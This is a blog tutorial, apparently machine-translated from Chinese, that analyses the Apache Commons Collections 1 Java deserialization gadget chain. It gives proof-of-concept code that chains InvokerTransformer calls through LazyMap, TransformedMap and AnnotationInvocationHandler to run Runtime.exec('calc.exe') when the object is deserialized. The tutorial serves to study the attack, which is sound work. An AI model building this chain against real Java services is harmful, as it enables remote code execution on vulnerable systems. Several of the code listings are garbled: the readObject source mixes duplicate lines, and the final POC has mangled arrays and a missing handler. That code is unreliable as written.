Common collections1 analysis of Java Security (2)

Common collections1 analysis of Java Security (2)

0x00 Preface

Continue the previous article and continue to debug the CC chain. The CC chain debugged in the previous article is not a complete chain. Just use several methods to call each other to pop up a calculator.

Common collections1 analysis of Java Security (1)

Let's post his complete call chain

Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getmethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

0x01 LazyMap

Before analysis, let's take a look at the class lazymap, which is similar to transformaedmap. Abstractmapdecorator inherits abstract classes, which are provided by Apache common collections. The difference between the two classes is that transformedmap triggers the transform method in the put method, while lazymap calls the method in the get method.

When the key calling get (key) does not exist, the transform () method of transformerchain will be called.

Modify the POC and use the get method of lazymap to trigger the command execution.

 public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),new InvokerTransformer("getmethod",new Class[] {String.class,Class[].class },new Object[] {"getRuntime",new Class[0] }),new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class },new Object[] {null,new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class },new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value","value");
        
        Map tmpmap = LazyMap.decorate(innerMap,transformerChain);
        tmpmap.get("1");

    }

In this way, you can successfully execute the command.

0x02 AnnotationInvocationHandler

Find data on the Internet and find annotationinvocationhandler. This class is used to process annotations.

The constructor of annotationinvocationhandler class has two parameters. The ⼀ parameter is an annotation class type parameter, and the second is a map type parameter.

In JDK, all annotation types are inherited from this ordinary interface (annotation).

View its readObject ⽅ method

 private void readObject(java.io.ObjectInputStream s)
         throws java.io.IOException,ClassNotFoundException {
       s.defaultReadObject();
       ObjectInputStream.GetField fields = s.readFields();
       @SuppressWarnings("unchecked")
        Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type",null);
       @SuppressWarnings("unchecked")
       Map<String,Object> streamVals = (Map<String,Object>)fields.get("memberValues",null);
 
         // Check to make sure that types have not evolved incompatibly
 
         AnnotationType annotationType = null;
         try {
           annotationType = AnnotationType.getInstance(type);
           annotationType = AnnotationType.getInstance(t);
         } catch(IllegalArgumentException e) {
             // Class is no longer an annotation type; time to punch out
             throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
         }
 
         Map<String,Class<?>> memberTypes = annotationType.memberTypes();
        // consistent with runtime Map type
       Map<String,Object> mv = new LinkedHashMap<>();
 
         // If there are annotation members without values,that
         // situation is handled by the invoke method.
        for (Map.Entry<String,Object> memberValue : memberValues.entrySet()) {
       // for (Map.Entry<String,Object> memberValue : streamVals.entrySet()) {
             String name = memberValue.getKey();
            Object value = null;
             Class<?> memberType = memberTypes.get(name);
             if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                value = memberValue.getValue();
                 if (!(memberType.isinstance(value) ||
                       value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                    value = new AnnotationTypeMismatchExceptionProxy(
                             value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                                annotationType.members().get(name));
                 }
             }
            mv.put(name,value);
        }

        UnsafeAccessor.setType(this,t);
        UnsafeAccessor.setMemberValues(this,mv);
    }

Use reflection to call annotationinvocationhandler and pass in parameters, here a retention Class, and outermap.

Retention is an annotation class. Outermap is a class modified by our transformaedmap.

At this time, in the readObject method of annotationinvocationhandler, membervalues is the object of the transformedmap that we use reflection to pass in.

 Class clazz =
                    Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
            construct.setAccessible(true);
            InvocationHandler handler = (InvocationHandler)
                    construct.newInstance(Retention.class,outerMap);

This ⾥ traverses all its elements and sets the values in turn. When you set the value of ⽤ setValue, the transform of transformaedmap ⾥ will be triggered, resulting in the execution of the command.

0x03 POC analysis

public static void main(String[] args) {
        
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),new Class[] {
                            String.class,new Object[] { "getRuntime",new Class[] {
                            Object.class,new Object[] { null,new
                            Object[0] }),new Class[] { String.class
                    },new String[] {
                                    "calc.exe" }),};
            Transformer transformerChain = new
                    ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            innerMap.put("value","xxxx");
            Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
            Class clazz =
                    Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor construct = clazz.getDeclaredConstructor(Class.class,outerMap);
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(handler);
            oos.close();
            System.out.println(barr);
            ObjectInputStream ois = new ObjectInputStream(new
                    ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
        
    }
}

Here you can see that a runtime is stored in the transformer [] array Class, not the runtime object. This is because the runtime does not implement Java io. Serializable is connected to ⼝. Is not serializable. And runtime Class belongs to Java lang.Class 。 java. Lang. class implements Java io. Serializable is connected to ⼝. Can be serialized.

After serializing this line of code, the command is not executed in the subsequent deserialization. Because the JDK version of the physical machine is higher, the readObject of the annotationinvocationhandler in the higher version has been changed. Thus, the purpose of command execution is not reached, but the JDK in the lower version can be executed.

0x04 reference articles

P牛的JAVA安全漫谈系列
https://xz.aliyun.com/t/7031#toc-2
https://www.cnblogs.com/litlife/p/12571787.html
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

0x05 end

When analyzing the CC chain, it always goes from ignorance to epiphany to ignorance again and again. The brain is also a mess in the middle. In fact, the debugging of CC chain has not ended here. This paper is just a little basic knowledge to pave the way for the next article.

The content of this article comes from the network collection of netizens. It is used as a learning reference. The copyright belongs to the original author.
THE END
分享
二维码
< <上一篇
下一篇>>